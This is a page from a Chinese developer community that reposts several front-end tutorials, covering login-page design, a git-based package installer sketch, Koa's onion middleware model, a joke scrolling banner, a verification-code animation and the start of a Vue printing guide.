注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo，开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货，分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

大厂B端登录页，让我打开新思路了

web
登录页这个东西，因为感觉很简单，所以经常不被重视。但是登录页作为一个产品的门面，直接影响用户第一印象，又是非常重要的存在。最近研究了一下我电脑上那一堆桌面端的登录页，还真发现了一些之前没想清楚的门道来。\0. 不登录很多产品会提供部分功能给未登录账号使用。比较...
继续阅读 »


登录页这个东西，因为感觉很简单，所以经常不被重视。

但是登录页作为一个产品的门面，直接影响用户第一印象，又是非常重要的存在。

最近研究了一下我电脑上那一堆桌面端的登录页，还真发现了一些之前没想清楚的门道来。

\0. 不登录

很多产品会提供部分功能给未登录账号使用。

比较谨慎的，Zoom 会给一个直接加入会议的按钮：


极端一些的，会像 WPS 这样打开后直接进入，不需要登录页：


给未登录用户太多功能会影响注册用户占比，强制登录又会把使用门槛拉得太高，这个主要看产品定位吧。

接下来，咱们主要针对必须登录的情况来讲吧。

\1. 填写项

这有什么好说的，登录填写项不就是用户名/邮箱/手机号+密码吗？

没错，最典型的却是如此。例如百度网盘和钉钉：



但是我发现，有的产品会故意分两步让你填，这样就可以把注册和登录合并到一个步骤了（输入后看看注册过没，没有就走注册流程，有就走登录流程）。例如飞书和 Google：



还有的，甚至不把填写项放出来，非要你点击入口才行。例如微云和 CCtalk：



我个人是比较喜欢一打开就是填写项，一次填完的，不知道大家怎么看？

\2. 二维码

我发现把二维码放到右上角的方式蛮常见的。

例如钉钉就做得很好看：


飞书用高亮色做有点生硬，但也还行：


微云这个感觉中间突然被切了一角，有点奇怪：


\3. 登录方式

如果登录方式只有 2 种，tab 是最常用的切换方式。例如微云：


如果比较多，用图标在底部列出来是最常用的方式。例如腾讯会议和 Zoom：



但也有一些产品，可能比较纠结，两种方式混合一下。比如飞书：


但是记住一定要在图标下加文字说明，否则就会像 CCtalk 一样看不懂第一个图标是什么（悬停提示也没有）：


\4. 注册与忘记密码

这两个按钮几乎所有登录页都需要，但又不是特别重要的信息。

一般两种布局最常见，一是将这两个按钮都放在输入框下面。例如微云和钉钉：



二是把忘记密码放在密码框里面，然后注册就放在右下角某个地方。例如 Zoom、腾讯会议：



也如果把输入邮箱/手机号和密码分成两步，就可以省略一个这两个入口，不过登录就得多一步操作了。例如飞书：


\5. 勾选项

登录页一般有两个勾选项，一个是自动登录、一个是同意协议条款的，大多默认不勾选。

一般都放到登录按钮的下面，虽然不符合操作顺序（先勾选了才能确定），但是排版好看些。例如飞书：


其实像微云这样把勾选项放到登录按钮上其实更加符合操作顺序，因为这是在登录之前要确认的内容：


Zoom 在底部写上登录即代表同意政策和条款，就省略一个勾选项了：


但谁都比不上百度网盘，它们干脆一个勾选项都没有，至今还不是好好的？


\6. 登录按钮

基本上登录页都少不了登录按钮，除非是像钉钉这样登录方式有限的：


有的产品会让登录按钮置灰，直至用户填写完成为止。例如飞书和 Zoom：



\7. 设置项

很多产品会在用户登录之前就提供设置项目，主要是网络设置和语言设计。

例如飞书就两个都给了（左下角），做得挺到位的：


Zoom 就没有提供，跟着我的系统语言用中文，这个思路页也能理解：



腾讯会议比较实诚，把整个设置面板的入口都放到登录页了，包括语言选项在内：



\8. Logo

大部分产品的登录页都会放上 logo，这个感觉是常识。例如腾讯会议、百度网盘：



但其实也有不少只写名字不放 logo 的。例如微云、飞书：



钉钉就比较奇特，既没有 logo 也没有名字，不去状态栏查看一下都不知道这是什么软件：


总结一下

登录页表面看上去简单，经常不受重视，但仔细这么对比下来，发现可变因素还真是挺多的。

不知道大家对于这个页面有什么困惑的地方，可以在评论区讨论一下。

作者：设计师ZoeYZ

来源：juejin.cn/post/7138631923068305422

收起阅读 »
上帝之眼 发表于 : 2022-09-08 09:03 评论 (0) 分享

实现一个简易的 npm install

前端面试 node.js
现在写代码我们一般不会全部自己实现，更多是基于第三方的包来进行开发，这体现在目录上就是 src 和 node_modules 目录。src 和 node_modules（第三方包） 的比例不同项目不一样。运行时查找第三方包的方式也不一样：在 node 环境里面...
继续阅读 »

现在写代码我们一般不会全部自己实现，更多是基于第三方的包来进行开发，这体现在目录上就是 src 和 node_modules 目录。


src 和 node_modules（第三方包） 的比例不同项目不一样。

运行时查找第三方包的方式也不一样：

在 node 环境里面，运行时就支持 node_modules 的查找。所以只需要部署 src 部分，然后安装相关的依赖。


在浏览器环境里面不支持 node_modules，需要把它们打包成浏览器支持的形式。


跨端环境下，它是上面哪一种呢？

都不是，不同跨端引擎的实现会有不同，跨端引擎会实现 require，可以运行时查找模块（内置的和第三方的），但是不是 node 的查找方式，是自己的一套。


和 node 环境下的模块查找类似，但是目录结构不一样，所以需要自己实现 xxx install。

思路分析

npm 是有自己的 registry server 来支持 release 的包的下载，下载时是从 registry server 上下载。我们自己实现的话没必要实现这一套，直接用 git clone 从 gitlab 上下载源码即可。

依赖分析

要实现下载就要先确定哪些要下载，确定依赖的方式和打包工具不同：

打包工具通过 AST 分析文件内容确定依赖关系，进行打包

依赖安装工具通过用户声明的依赖文件 (package.json / bundle.json)来确定依赖关系，进行安装

这里我们把包的描述文件叫做 bundle.json，其中声明依赖的包

{
    "name": "xxx",
    "dependencies": {
        "yyyy": "aaaa/bbbb#release/1111"
    }
}

通过分析项目根目录的 bundle.json 作为入口，下载每一个依赖，分析 bundle.json，然后继续下载每一个依赖项，递归这个过程。这就是依赖分析的过程。


这样依赖分析的过程中进行包的下载，依赖分析结束，包的下载也就结束了。这是一种可行的思路。


但是这种思路存在问题，比如：版本冲突怎么办？循环依赖怎么办？


解决版本冲突


版本冲突是多个包依赖了同一个包，但是依赖的版本不同，这时候就要选择一个版本来安装，我们可以简单的把规则定为使用高版本的那个。


解决循环依赖


包之间是可能有循环依赖的（这也是为什么叫做依赖图，而不是依赖树），这种问题的解决方式就是记录下处理过的包，如果同个版本的包被分析过，那么久不再进行分析，直接拿缓存。


这种思路是解决循环依赖问题的通用思路。


我们解决了版本冲突和循环依赖的问题，还有没有别的问题？


版本冲突时会下载版本最高的包，但是这时候之前的低版本的包已经下载过了，那么就多了没必要的下载，能不能把这部分冗余下载去掉。


依赖分析和下载分离


多下载了一些低版本的包的原因是我们在依赖分析的过程中进行了下载，那么能不能依赖分析的时候只下载 bundle.json 来做分析，分析完确定了依赖图之后再去批量下载依赖？


从 gitlab 上只下载 bundle.json 这一个文件需要通过 ssh 协议来下载，略微复杂，我们可以用一种更简单的思路来实现：

git clone --depth=1 --branch=bb xxx

加上 --depth 以后 git clone 只会下载单个 commit，速度会很快，虽然比不上只下载 bundle.json，但是也是可用的（我试过下载全部 commit 要 20s 的时候，下载单个 commit 只要 1s）。


这样我们在依赖分析的时候只下载一个 commit 到临时目录，分析依赖、解决冲突，确定了依赖图之后，再去批量下载，这时候用 git clone 下载全部的 commit。最后要把临时目录删除。


这样，通过分离依赖分析和下载，我们去掉了没必要的一些低版本包的下载。下载速度会得到一些提升。


全局缓存


当本地有多个项目的时候，每个项目都是独立下载自己的依赖包的，这样对于一些公用的包会存在重复下载，解决方式是全局缓存。


分析完依赖进行下载每一个依赖包的时候，首先查找全局有没有这个包，如果有的话，直接复制过来，拉取下最新代码。如果没有的话，先下载到全局，然后复制到本地目录。


通过多了一层全局缓存，我们实现了跨项目的依赖包复用。


代码实现

为了思路更清晰，下面会写伪代码

依赖分析

依赖分析会递归处理 bundle.json，分析依赖并下载到临时目录，记录分析出的依赖。会解决版本冲突、循环依赖问题。

const allDeps = {};
function installDeps(projectDir) {
    const bundleJsonPath = path.resolve(projectDir, 'bundle.json');
    const bundleInfo = JSON.parse(fs.readFileSync(bundleJsonPath));
    
    const bundleDeps = bundleInfo.dependencies;
    for (let depName in bundleDeps) {
        if(allDeps[depName]) {
            if (allDeps[depName] 和 bundleDeps[depName] 分支和版本一样) {
                continue;// 跳过安装
            }
            if (allDeps[depName] 和 bundleDeps[depName] 分支和版本不一样){
                if (bundleDeps[depName] 版本 < allDeps[depName] 版本 ) {
                    continue;
                } else {
                    // 记录下版本冲突
                    allDeps[depName].conflit = true;
                }
           
            }
        }
        childProcess.exec(`git clone --depth=1 ${临时目录/depName}`);
        allDeps[depName] = {
            name: depName
            url: xxx
            branch: xxx
            version: xxx
        }
        installDeps(`${临时目录/depName}`);
    }    
}

下载

下载会基于上面分析出的 allDeps 批量下载依赖，首先下载到全局缓存目录，然后复制到本地。

function batchInstall(allDeps) {
    allDeps.forEach(dep => {
        const 全局目录 = path.resolve(os.homedir(), '.xxx');
        if (全局目录/dep.name 存在) {
            // 复制到本地
            childProcess.exec(`cp 全局目录/dep.name 本地目录/dep.name`);
        } else {
            // 下载到全局
            childProcess.exec(`git clone --depth=1 ${全局目录/dep.name}`);
             // 复制到本地
            childProcess.exec(`cp 全局目录/dep.name 本地目录/dep.name`);
        }
    });
}

这样，我们就完成了依赖的分析和下载，实现了全局缓存。


总结


我们首先梳理了不同环境（浏览器、node、跨端引擎）对于第三方包的处理方式不同，浏览器需要打包，node 是运行时查找，跨端引擎也是运行时查找，但是用自己实现的一套机制。


然后明确了打包工具确定依赖的方式是 AST 分析，而依赖下载工具则是基于包描述文件 bundl.json(package.json) 来分析。然后我们实现了递归的依赖分析，解决了版本冲突、循环依赖问题。


为了减少没必要的下载，我们做了依赖分析和下载的分离，依赖分析阶段只下载单个 commit，后续批量下载的时候才全部下载。下载方式没有实现 registry 的那套，而是直接从 gitlab 来 git clone。


为了避免多个项目的公共依赖的重复下载，我们实现了全局缓存，先下载到全局目录，然后再复制到本地。



作者：zxg_神说要有光
链接：https://juejin.cn/post/6963855043174858759


收起阅读 »
马师傅 发表于 : 2022-09-07 14:35 评论 (0) 分享

如果你一层一层一层地剥开洋葱模型，你会明白

前端面试 node.js
关于洋葱模型你知道多少？经过短时间接触NodeJS,浅浅地了解了NodeJS的相关知识，很多不太理解，但是对于洋葱模型，个人觉得挺有意思的，不仅是出于对名字的熟悉。刚接触NodeJS不久，今天就浅浅谈谈koa里的洋葱模型吧。koa是一个精简的Node框架，被认...
继续阅读 »

关于洋葱模型你知道多少？经过短时间接触NodeJS,浅浅地了解了NodeJS的相关知识，很多不太理解，但是对于洋葱模型，个人觉得挺有意思的，不仅是出于对名字的熟悉。刚接触NodeJS不久，今天就浅浅谈谈koa里的洋葱模型吧。

koa是一个精简的Node框架，被认为是第二代Node框架，其最大的特点就是`独特的中间件`流程控制，是一个典型的`洋葱模型`，
它的核心工作包括下面两个方面：

(1) 将Node原生的request和response封装成为一个context对象。
(2)  基于async/await的中间件洋葱模型机制。
中间件是一种独立的系统软件或服务程序，分布式应用软件借助这种软件在不同的技术之间共享资源。
中间件位于客户机/ 服务器的操作系统之上，管理计算机资源和网络通讯。(晦涩难懂了)

重点：
//这是一个中间件(app.use(fun)里的fun)，有两个参数，ctx和next
app.use(async (ctx,next)=>{
    console.log('<<one');
    await next();
    console.log('one>>');
})

中间件和路由处理器的参数中都有回调函数，这个函数有2,3,4个参数

如果有两个参数就是req和res；

如果有三个参数就是request,response和next

如果有四个参数就是error，request，response，next

1、koa写接口

为了更好地引入洋葱模型，我们先从使用koa为切入口。且看下面代码：

// 写接口
const Koa = require('koa')//说明安装koa
const app = new Koa()

const main = (ctx) => {
    //   console.log(ctx.request);
    if(ctx.request.url=='/home'){//localhost:3000/home访问
        ctx.response.body={data:1}

    }else if(ctx.request.url=='/user'){//localhost:3000/user访问
        ctx.response.body={name:'fieemiracle'}

    }else{//localhost:3000访问
        ctx.response.body='texts'

    }
}
app.use(main)
app.listen(3000)

以上代码，当我们在后端（终端）启动这个项目，可以通过localhost:3000 || localhost:3000/home || localhost:3000/user访问，页面展示的内容不一样，分别对应分支里的内容。


模拟创建接口，虽然通过if分支让代码跟直观易懂，但是不够优雅，当需要创建多个不同接口时，代码冗长且不优雅，需要改进，我们这采用路由（router）:

// 优化5.js
const Koa = require('koa')
const app = new Koa()
const fs=require('fs') ;
// 路由
const router=require('koa-route')//安装koa-router

// 中间件:所有被app.use()掉的函数
const main = (ctx) => {
  ctx.response.body = 'hello'
}
// 中间件:所有被app.use()掉的函数
const about=(ctx)=>{
    ctx.response.type='html';
    ctx.response.body='<a href="https://koa.bootcss.com/">About</a>'
    // ctx.response.body='<a href="/">About</a>'
}
// 中间件:所有被app.use()掉的函数
const other=(ctx)=>{
    ctx.response.type='json';
    ctx.response.body=fs.createReadStream('./6.json')
}

app.use(router.get('/',main));
app.use(router.get('/about',about));
app.use(router.get('/other',other));
// 路由内部有中间件，不需要第二个参数next

app.listen(3000);
注意app.use()语句，被app.use()过的，就是中间件。通过传入路由的方式，当我们使用localhost:3000 || localhost:3000/home || localhost:3000/user访问时候，会对应地执行app.use()。这样就更优雅了。接下来我们看看洋葱模型，跟路由这种方式的区别：
const Koa = require('koa');
const app=new Koa();

// 洋葱模型（koa中间件的执行顺序）
const one=(ctx,next)=>{
    console.log('<<one');
    next();//执行two()
    console.log('one>>');
}
const two=(ctx,next)=>{
    console.log('<<two');
    next();//执行three()
    console.log('two>>');
}
const three=(ctx,next)=>{
    console.log('<<three');
    next();//没有下一个函数，执行下一个打印
    console.log('three>>');
}
app.use(one)
app.use(two)
app.use(three)

app.listen(3000,function(){
    console.log('start');
})

上面代码的执行顺序是什么？

<<one
<<two
<<three
three>>
two>>
one>>

这就是koa的洋葱模型的执行过程：先走近最外层(one),打印'<<one'-->next(),走进第二层(two),打印'<<two'-->next(),走进第三层,打印'<<three'-->next(),没有下一个中间件，打印'three>>'-->第三层执行完毕，走出第三层，打印'two>>'-->第二层执行完毕，走出第二层，打印'one>>'。如图：


这个轮廓是不是就很像洋葱的亚子。简而言之，洋葱模型的执行过程就是：从外面一层一层的进去，再一层一层的从里面出来。


洋葱模型与路由的区别在于：路由内部有内置中间件，不需要第二个参数next。


洋葱模型执行原理

上面提到过，中间件:所有被app.use()掉的函数。也就是说，没有被app.use()掉，就不算是中间件。

//新建一个数组，存放中间件
cosnt middleware=[];

当我们使用中间件的时候，首先是使用use方法，use方法会将传入的中间件回调函数存储到middleware中间件数组中。所以我们可以通过app.use()添加中间件，例如：

app.use(function){
    middleware.push(function);
}

监听，当执行app.listen去监听端口的时候，其实其内部调用了http模块的createServer方法，然后传入内置的callback方法，这个callback方法就会将use方法存储的middleware中间件数组传给compose函数（后期补充该内容）。


那么我们将上面的洋葱模型，利用其原理改造一下吧：

const Koa = require('koa');
const app=new Koa();

// 添加三个中间件
app.use(async (ctx,next)=>{
    console.log('<<one');
    await next();
    console.log('one>>');
})
app.use(async (ctx,next)=>{
    console.log('<<two');
    await next();
    console.log('two>>');
})
app.use(async (ctx,next)=>{
    console.log('<<three');
    await next();
    console.log('three>>');
})

app.listen(3000,function(){
    console.log('start');
})

//<<one
//<<two
//<<three
//three>>
//two>>
//one>>

看！打印结果一样。async和洋葱模型的结合可谓是yyds了，其实，不用async也是一样的。这下明白什么是洋葱模型了吧。

compose方法是洋葱模型的核心，compose方法中有一个dispatch方法，第一次调用的时候，执行的是第一个中间件函数，中间件函数执行的时候就是再次调用dispatch函数，也就说形成了一个递归，这就是next函数执行的时候会执行下一个中间件的原因。
因此形成了一个洋葱模型。
function compose (middleware) {
  return function (context, next) {
    let index = -1
    // 一开始的时候传入为 0，后续递增
    return dispatch(0)
    
    //compose方法中的dispatch方法
    function dispatch (i) {
      // 假如没有递增，则说明执行了多次
      if (i <= index) return Promise.reject(new Error('next() called multiple times'))
      index = i;
      
      // 拿到当前的中间件
      let fn = middleware[i];
      
      if (i === middleware.length) fn = next
      
      // 当 fn 为空的时候，就会开始执行 next() 后面部分的代码
      if (!fn) return Promise.resolve()
      try {
        // 执行 next() 的时候就是调用 dispatch 函数的时候
        return Promise.resolve(fn(context, dispatch.bind(null, i + 1)));
        
      } catch (err) {
        return Promise.reject(err)
      }
    }
  }
}
洋葱模型存在意义

当在一个app里面有很多个中间件，有些中间件需要依赖其他中间件的结果时，洋葱模型可以保证执行的顺序，如果没有洋葱模型，执行顺序可能出乎我们的预期。


结尾

看到第一个koa写接口的例子，我们知道上下文context（简写ctx）有两个属性，一个是request,另一个是response，洋葱模型就是以函数第二个参数next()为切割点，由外到内执行request逻辑，再由内到外执行response逻辑，这样中间件的交流就更加简单。专业一点说就是：

Koa的洋葱模型是以next()函数为分割点，先由外到内执行Request的逻辑，然后再由内到外执行Response的逻辑，这里的request的
逻辑，我们可以理解为是next之前的内容，response的逻辑是next函数之后的内容，也可以说每一个中间件都有两次处理时机。洋葱
模型的核心原理主要是借助compose方法。


作者：来碗盐焗星球
链接：https://juejin.cn/post/7124601052153774093
来源：稀土掘金
收起阅读 »
马师傅 发表于 : 2022-09-07 14:21 评论 (0) 分享

敢在我工位装摄像头？吃我一套JS ➕ CSS组合拳！！👊🏻

web
前言大家好，我是HoMeTown不知道大家最近有没有看到过封面上的这张图，某公司在个人工位安装监控，首先我个人认为，第一每个行业有每个行业的规定，如果公司和员工提前做好沟通，并签过合同协议的话，问题不大，比如银行职员这种岗位。第二是私人企业和员工如果签订了补偿...
继续阅读 »


前言

大家好，我是HoMeTown

不知道大家最近有没有看到过封面上的这张图，某公司在个人工位安装监控，首先我个人认为，第一每个行业有每个行业的规定，如果公司和员工提前做好沟通，并签过合同协议的话，问题不大，比如银行职员这种岗位。第二是私人企业和员工如果签订了补偿协议？协议里明确说明工资翻3倍？4倍？5倍？或者其他的对员工有利的条件？（如果一个探头能翻3倍工资，那我觉得我可以装满）

但是如果是公司在没有和员工沟通的前提下，未经员工同意强制在工位上安装这个破玩意，那我觉得这公司有点太不人道了，违不违法这个咱确实不懂，也不做评论。

类似这样的操作，我本着好奇的心态，又搜了搜，发现这种情况好像不在少数，比如这样：


再或者这样：


作为一个程序员，这点探头能难得到我？我能因为你这点儿探头止步不前了？

话不多说，是时候给你秀秀肌肉💪🏻了，开干！


组合拳拳谱

封装函数lick作为主函数直接 export，让广大的友友们开箱即用！

lick函数内置： init初始化方法、move移动方法、setupEvent事件注册方法以及setupStyle等关键函数，实现事件上的可控制移动。

lick！重卷出击！

export function lick(lickdogWords) {
  setupStyle();
  // 偏移值
  let left = 0;
  //声明定时器
  let timer = null;
  // 文字
  let lickWord = "";
  
  const out = document.querySelector("#lickdog-out_wrap");
  out.innerHTML = `
    <div id="lickdog-inner_wrap">
        <div id="text-before">${lickWord}</div>
        <div id="text-after">${lickWord}</div>
    </div>
  `;

  const inner = document.querySelector("#lickdog-inner_wrap");
  const textBefore = document.querySelector("#text-before");

  init();
  setupEvent();
  
    // 初始化
  function init() {
    // 开启定时器之前最好先清除一下定时器
    clearInterval(timer);
    //开始定时器
    timer = setInterval(move, speed);
  }
  
  function setupStyle() {
    const styleTag = document.createElement("style");
    styleTag.type = "text/css";
    styleTag.innerHTML = `
    #lickdog-out_wrap{
        width: 100%;
        height: 100px;
        position: fixed;
        overflow: hidden;
        text-overflow: ellipsis;
        /* 颜色一定要鲜艳 */
        background-color: #ff0000;
        border-radius: 8px;
        /* 阴影也一定要够醒目 */
        box-shadow: rgba(255, 0, 0, 0.4) 5px 5px, rgba(255, 0, 0, 0.3) 10px 10px, rgba(255, 0, 0, 0.2) 15px 15px, rgba(255, 0, 0, 0.1) 20px 20px, rgba(255, 0, 0, 0.05) 25px 25px;
    }
    #lickdog-inner_wrap {
        // padding: 0 12px;
        width: 100%;
        height: 100%;
        display: flex;
        align-items: center;
        position: absolute;
        left: 0;
        top: 0;
    }
    .text{
        white-space:nowrap;
        box-sizing: border-box;
        color: #fff;
        font-size: 48px;
        font-weight:bold;
        /* 文字一定要立体 */
        text-shadow:0px 0px 0 rgb(230,230,230),1px 1px 0 rgb(215,215,215),2px 2px 0 rgb(199,199,199),3px 3px 0 rgb(184,184,184),4px 4px 0 rgb(169,169,169), 5px 5px 0 rgb(154,154,154),6px 6px 5px rgba(0,0,0,1),6px 6px 1px rgba(0,0,0,0.5),0px 0px 5px rgba(0,0,0,.2);
    }
    `;
    document.head.appendChild(styleTag)
  }
  
    //封装移动函数
  function move() {
    if (left >= textBefore.offsetWidth) {
      left = 0;
    } else {
      left++;
    }
    inner.style.left = `${-left}px`;
  }
  
  function setupStyle() { ... }
}

通过简单的代码，我们基本实现了我们的这一套组合拳，可能说到这，有的朋友还不知道这段代码到底有什么作用，意义在哪，有什么实际的用途...

接下来建一个html进行才艺展示！：

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <style>
        html, body {
            margin: 0;
            padding: 0;
        }
    </style>
  </head>
  <body>
    <div id="lickdog-out_wrap"><div>
    <script>
        (async function() {
            const lickdog = await import('./lickdog.js')
            lickdog.lick(
                // 重点！
                [
                    "问题到我为止，改变从我开始",
                    "人在一起叫聚会，心在一起叫团队",
                    "工作创造价值，奉献带来快乐，态度决定一切",
                    "怠惰是贫穷的制造厂", 
                    "一个优秀的员工必须培养自己对工作的兴趣，使工作成为愉快的旅程", 
                    "一朵鲜花打扮不出美丽的春天，一个人先进总是单枪匹马，众人先进才能移山填海",
                    "抓住今日，尽可能少的依赖明天",
                    "行动是成功的开始，等待是失败的源头",
                    "强化竞争意识，营造团队精神",
                    "迅速响应，马上行动",
                    "去超越那个比你牛逼，更比你努力的人",
                    "不为失败找理由，只为成功找方法",
                    "含泪播种的人一定能含笑收获",
                    "不经历风雨，怎么见彩虹",
                    "路，要一步一步足踏实地地往前走，才能获得成功",
                ]
            )
        })()
    </script>
  </body>
</html>

Duang！

Duang！

Duang！

效果来辽！


嗯，按照上面的代码，你可以通过最简单、最快的方式，立即在你的网页中获得一个置顶的！可以无限轮播公司标语的跑马灯！

而且色彩足够鲜艳，监控器一眼就能看到！！！

咱一整个就是说，这玩意儿往上面一放，老板看到不得夸你两句？给你提提薪资？给你放俩天假？


不够满意？

如果你觉的上面的功能还不够完美，我们可以添加一个空格事件，当你发现你觉得不错的标语（你想让老板给你涨薪的标语）时，仅仅只需要动动你的大拇指敲下空格键，呐，如你所愿，暂停⏸了！该标语会一直停留在展示区域，让老板仔细观看！（你品，你细品！）

  function setupEvent() {
    // 如果遇到自己喜欢的句子，不妨空格⏸，让老板多看看
    document.onkeydown = function (e) {
      var keyNum = window.event ? e.keyCode : e.which; //获取被按下的键值
      if (keyNum == 32) {
        if (timer) {
          clearInterval(timer);
          timer = null;
        } else {
          timer = setInterval(move, speed);
        }
      }
    };
  }

效果如下：


还不够满意？

如果你觉得太慢，你甚至可以完全自定义设置滚动速度，让标语滚动更快或者更慢，像这样：

...
const speed = config?.speed ?? 10;
...
//开始定时器
timer = setInterval(move, speed);


觉得自己的句子不够斗志昂扬？不够有激情？没问题，开启beautify，自动为你添加！。

lickdog.lick({
    [ ... ],
    {
        speed: 1,
        enableBeautify: true,
    }
})

不想用！？没问题！使用beautifyText！去自定义吧，自定义你想表达的情绪；自定义不被自定义的自定义：

lickdog.lick({
    [ ... ],
    {
        speed: 1,
        enableBeautify: true,
        beautifyText: '！***、'
    }
})


完结

以玩笑的方式跟大家分享一个了知识点：文字的横向滚动轮播。

最后呢，关于这个话题，如果有朋友不幸遇到了，自己决定提不提桶就好。

愿好㊗️。

挣钱嘛，生意，不寒碜 --《让子弹飞》

来源：juejin.cn/post/7135994466006990856

收起阅读 »
上帝之眼 发表于 : 2022-09-07 08:59 评论 (0) 分享

获取个验证码居然还可以这样玩

web
介绍之前在抖音上看的某个脑洞大开的产品设想的几种别具特色的后端看了抓狂前端看了想打人的阴间交互效果，其中一个脑洞是让用户拉一下拉杆如同抽奖的形式获取到验证码，本期就咱们就还原出这个交互效果看看它到底有多疯狂。演示效果就是这样喵~提前说明下，咱们仅仅实现交互效果...
继续阅读 »


介绍

之前在抖音上看的某个脑洞大开的产品设想的几种别具特色的后端看了抓狂前端看了想打人的阴间交互效果，其中一个脑洞是让用户拉一下拉杆如同抽奖的形式获取到验证码，本期就咱们就还原出这个交互效果看看它到底有多疯狂。

演示

效果就是这样喵~

提前说明下，咱们仅仅实现交互效果不需要考虑后端交互验证和安全这些，所以数字是每次拉动前端随机生成的，也没有加混淆和干扰。

正文

绘制背景

通过上面的演示可以看到，背景svg云纹的效果，那它是怎么实现的呢？不卖关子了，我是用了一个专门生成svg背景的网站（heropatterns.com/） 来实现的，里面有各种各样的svg背景可以定制颜色，然后拷贝css代码出来就为你所用了。


拉杆绘制

<div class="submit-btn">
    <div class="btn-ball"></div>
    <div class="btn-rod"></div>
    <div class="btn-stand"></div>
</div>

拉杆主要分别由头，杆，底座三个部分组成，而我们触发事件后赋给容器应该 active 样式，然后由他去控制头和杆执行一段css动画来实现其拉动的效果。

.submit-btn{
    &.active{
        .btn-rod{
            animation:rod-down .32s linear;
        }
        .btn-ball{
            animation:ball-down .32s linear;
        }
    }
}
@keyframes rod-down{
   0%{
     transform: scaleY(1);
   }
   60%{
     transform: scaleY(0);
   }
   80%{
     transform:scaleY(-.2);
   }
   100%{
     transform:scaleY(1);
   }
}
@keyframes ball-down{
   0%{
     transform: translateY(0);
   }
   60%{
     transform: translateY(40px);
   }
   80%{
     transform: translateY(60px);
   }
   100%{
     transform: translateY(0);
   }
}

至于，事件的绑定则非常容易，就说判断鼠标点击滑动抬起事件，看看两点间的变化量是否大于3px，如果大于则向容器赋予 active 样式触发css动画。


生成条带

让数字转动之前我们先要生成一下条带，当然我们可以直接使用图片，但是咱们没有设计，所以前端自己动手丰衣足食吧。就用 canvas 拼接出一个图片数字条带出来。

function createBackgroundImage(w, h) {
    let canvas = document.createElement("canvas");
    let ctx = canvas.getContext("2d");
    canvas.width = ctx.width = w;
    canvas.height = ctx.height = h * 10;
    let BackgroundImage = new Array(10).fill(0);
    BackgroundImage.forEach((n, i) => {
        ctx.save();
        ctx.textAlign = "center";
        ctx.textBaseline = "middle";
        ctx.font = "bold 36px Baloo Bhaijaan";
        ctx.fillText(i, w / 2, h * i + h / 2 + 5, w);
        ctx.restore();
    });
    return convertCanvasToImage(canvas);
}

function convertCanvasToImage(canvas) {
    var image = new Image();
    image.src = canvas.toDataURL("image/png");
    return image;
}

在项目初始化的时候，就会执行这个方法，利用 canvas 绘制出0到9，10个数字纵向排列出来，最后用 toDataURL 方法导出图片，赋给需要转动区域内的做背景图。


数字转动

上一步操作背景图都生成出来了，不难想到我们将会通过改变 backgroundPositionY 的形式来实现转动。当然，我们还要让动画不停加速最后在慢慢停下来，所以要加入缓动，这里推荐一个动画库 animejs ,它非常的小巧且灵活好用。

import anime from "https://cdn.skypack.dev/animejs@3.2.1";

function play() {
    let nums = createNums();
    code = nums.join("");
    [].forEach.call(list.children, (el, index) => {
        setTimeout(() => {
            let y = parseInt(el.style.backgroundPositionY || "0", 10);
            anime({
                targets: el,
                backgroundPositionY: [y, y + h * 30 + (10 - nums[index]) * h],
                loop: false, // 循环播放
                direction: "normal",
                easing: "easeOutCirc", // 时间曲线
                duration: 2000, // 播放时间2s
                autoplay: true, // 是否立即播放
                complete: (anim) => {
                    if (index == 3) isActive = false;
                }
            });
        }, index * 200);
    });
}

function createNums(l = 4) {
    let num = random(1, 9999);
    let res = (num + "").split("");
    let len = res.length;
    if (len < l) {
        for (let i = 0; i < l - len; i++) {
            res.unshift("0");
        }
    }
    return res;
}

先获取到要返回来的验证码，我这里用随机数来模拟，然后遍历那四个转动区域，生成好 anime 动画，其backgroundPositionY 最后的结果以刚刚获取到的验证码的数字获取到对应位置来计算得到，当然遍历的同时为了效果更好，我们是用 setTimeout 定时器每隔200ms再让开启下一个转动块执行的。


来源：juejin.cn/post/7124205596655484965

收起阅读 »
上帝之眼 发表于 : 2022-09-06 09:00 评论 (0) 分享

前端vue实现打印、下载

web
html2canvas介绍如果下载出来是pdf文件，可以加上jspdf插件，会先通过html2canvas把页面转化成base64图片，再通过jspdf导出安装npm i html2canvas jspdf或yarn add html2canvas jspdf...
继续阅读 »

分享一下几个后台管理系统比较常用的插件：下载、打印

html2canvas介绍

html2canvas是在浏览器上对网页进行截图操作，实际上是操作DOM，这个插件也有好长时间了，比较稳定，目前使用还没有遇到什么bug


jspdf介绍

如果下载出来是pdf文件，可以加上jspdf插件，会先通过html2canvas把页面转化成base64图片，再通过jspdf导出


安装

npm i html2canvas jspdf
或
yarn add html2canvas jspdf

使用




注意点： 1、能使用ref来获取html结构就用ref，尽量不使用id。如果使用的地方比较多可以挂载到vue实例上 2、导出的pdf空白情况：检查dom结构有没有获取到，还有就是css样式要写在导出区域内的元素中

printjs介绍

之前是使用vue-print-nb插件的，但是这个插件有点猫病，有时候会出现样式跨域的问题，有时候又正常，后面在GitHub上找到的一个，用到现在也没出现过什么问题

在utils文件里面创建一个print.js文件

// 打印类属性、方法定义
/* eslint-disable */
const Print = function (dom, options) {
  if (!(this instanceof Print)) return new Print(dom, options);

  this.options = this.extend({
    'noPrint': '.no-print'
  }, options);

  if ((typeof dom) === "string") {
    this.dom = document.querySelector(dom);
  } else {
    this.isDOM(dom)
    this.dom = this.isDOM(dom) ? dom : dom.$el;
  }

  this.init();
};
Print.prototype = {
  init: function () {
    var content = this.getStyle() + this.getHtml();
    this.writeIframe(content);
  },
  extend: function (obj, obj2) {
    for (var k in obj2) {
      obj[k] = obj2[k];
    }
    return obj;
  },

  getStyle: function () {
    var str = "",
      styles = document.querySelectorAll('style,link');
    for (var i = 0; i < styles.length; i++) {
      str += styles[i].outerHTML;
    }
    str += "";

    return str;
  },

  getHtml: function () {
